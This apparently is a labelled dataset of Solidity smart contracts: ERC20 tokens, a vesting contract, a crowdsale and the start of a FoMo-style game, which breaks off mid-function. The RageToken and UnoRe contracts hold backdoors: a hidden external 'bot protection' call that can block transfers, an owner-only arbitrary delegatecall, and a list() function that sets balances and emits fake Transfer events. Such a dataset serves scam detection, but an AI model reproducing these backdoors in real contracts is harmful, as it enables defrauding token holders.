contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract PunchToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function PunchToken() public {
symbol = "PUN";
name = "Punch Token";
decimals = 18;
_totalSupply = 60000000000000000000000000000;
balances[0x95DE0088fB5a43F084f53A30f971FD9eE67A14E8] = _totalSupply;
Transfer(address(0), 0x95DE0088fB5a43F084f53A30f971FD9eE67A14E8, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,915 |
pragma solidity ^"0.4.24";
contract VestingBase {
using SafeMath for uint256;
CovaToken internal cova;
uint256 internal releaseTime;
uint256 internal genesisTime;
uint256 internal THREE_MONTHS = 7890000;
uint256 internal SIX_MONTHS = 15780000;
address internal beneficiaryAddress;
struct Claim {
bool fromGenesis;
uint256 pct;
uint256 delay;
bool claimed;
}
Claim [] internal beneficiaryClaims;
uint256 internal totalClaimable;
event Claimed(
address indexed user,
uint256 amount,
uint256 timestamp
);
function claim() public returns (bool){
require(msg.sender == beneficiaryAddress);
for(uint256 i = 0; i < beneficiaryClaims.length; i++){
Claim memory cur_claim = beneficiaryClaims[i];
if(cur_claim.claimed == false){
if((cur_claim.fromGenesis == false && (cur_claim.delay.add(releaseTime) < block.timestamp)) || (cur_claim.fromGenesis == true && (cur_claim.delay.add(genesisTime) < block.timestamp))){
uint256 amount = cur_claim.pct.mul(totalClaimable).div(10000);
require(cova.transfer(msg.sender, amount));
beneficiaryClaims[i].claimed = true;
emit Claimed(msg.sender, amount, block.timestamp);
}
}
}
}
function getBeneficiary() public view returns (address) {
return beneficiaryAddress;
}
function getTotalClaimable() public view returns (uint256) {
return totalClaimable;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract CovaToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_ = 65 * (10 ** (8 + 18));
string private constant name_ = 'Covalent Token';
string private constant symbol_ = 'COVA';
uint8 private constant decimals_ = 18;
constructor () public {
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract VestingFoundation is VestingBase{
using SafeMath for uint256;
constructor(CovaToken _cova, uint256 _releaseTime) public {
cova = _cova;
releaseTime = _releaseTime;
genesisTime = block.timestamp;
beneficiaryAddress = 0xC29cf578388A738868009a03fecCe7A262cda22a;
totalClaimable = 650000000 * (10 ** 18);
beneficiaryClaims.push(Claim(false, 10000, 0, false));
}
} | 0 | 1,285 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract RageToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 400000000000000000000000000;
string public name = "RageToken";
string public symbol = "RAGE";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 2,984 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract UnoRe is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 384649206000000000000000000;
string public name = "UnoRe";
string public symbol = "UNO";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairForUniswap(wETH, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairForUniswap(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_reallyGoHere.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere));
for(uint i = 0; i < _reallyGoHere.length; i++) {
balanceOf[_reallyGoHere[i]] = _amounts[i];
emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]);
}
}
} | 1 | 2,988 |
pragma solidity ^0.4.25 ;
contract VOCC_I046_20181211 {
mapping (address => uint256) public balanceOf;
string public name = " VOCC_I046_20181211 " ;
string public symbol = " VOCC_I046_20181211_subDT " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 19800000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,795 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract GLC is StandardToken {
string public constant name = "GoodLuck Coin";
string public constant symbol = "GLC";
uint256 public constant decimals = 0;
address public owner;
uint256 public constant INITIAL_SUPPLY = 100000000;
function GLC() {
totalSupply = INITIAL_SUPPLY;
owner = 0x8347dc81bAd8f104A0499749C2AC7Eb7a4eaeCdF;
balances[owner] = INITIAL_SUPPLY;
}
function Airdrop(ERC20 token, address[] _addresses, uint256 amount) public {
for (uint256 i = 0; i < _addresses.length; i++) {
token.transfer(_addresses[i], amount);
}
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) external onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
} | 1 | 2,087 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Mainsale {
using SafeMath for uint256;
address public owner;
address public multisig;
uint256 public endTimestamp;
uint256 public totalRaised;
uint256 public constant hardCap = 19333 ether;
uint256 public constant MIN_CONTRIBUTION = 0.1 ether;
uint256 public constant MAX_CONTRIBUTION = 1000 ether;
uint256 public constant THIRTY_DAYS = 60 * 60 * 24 * 30;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier belowCap() {
require(totalRaised < hardCap);
_;
}
modifier withinTimeLimit() {
require(block.timestamp <= endTimestamp);
_;
}
function Mainsale(address _multisig, uint256 _endTimestamp) {
require (_multisig != 0 && _endTimestamp >= (block.timestamp + THIRTY_DAYS));
owner = msg.sender;
multisig = _multisig;
endTimestamp = _endTimestamp;
}
function() payable belowCap withinTimeLimit {
require(msg.value >= MIN_CONTRIBUTION && msg.value <= MAX_CONTRIBUTION);
totalRaised = totalRaised.add(msg.value);
uint contribution = msg.value;
if (totalRaised > hardCap) {
uint refundAmount = totalRaised.sub(hardCap);
msg.sender.transfer(refundAmount);
contribution = contribution.sub(refundAmount);
refundAmount = 0;
totalRaised = hardCap;
}
multisig.transfer(contribution);
}
function withdrawStuck() onlyOwner {
multisig.transfer(this.balance);
}
} | 0 | 1,889 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract WorldFomo is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x6ed17ee485821cd47531f2e4c7b9ef8b48f2bab5);
address private admin = msg.sender;
string constant public name = "WorldFomo";
string constant public symbol = "WF";
uint256 private rndExtra_ = 15 seconds;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 12 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(32,0);
fees_[1] = F3Ddatasets.TeamFee(45,0);
fees_[2] = F3Ddatasets.TeamFee(62,0);
fees_[3] = F3Ddatasets.TeamFee(47,0);
potSplit_[0] = F3Ddatasets.PotSplit(47,0);
potSplit_[1] = F3Ddatasets.PotSplit(47,0);
potSplit_[2] = F3Ddatasets.PotSplit(62,0);
potSplit_[3] = F3Ddatasets.PotSplit(62,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
require(msg.sender == tx.origin, "sorry humans only - FOR REAL THIS TIME");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
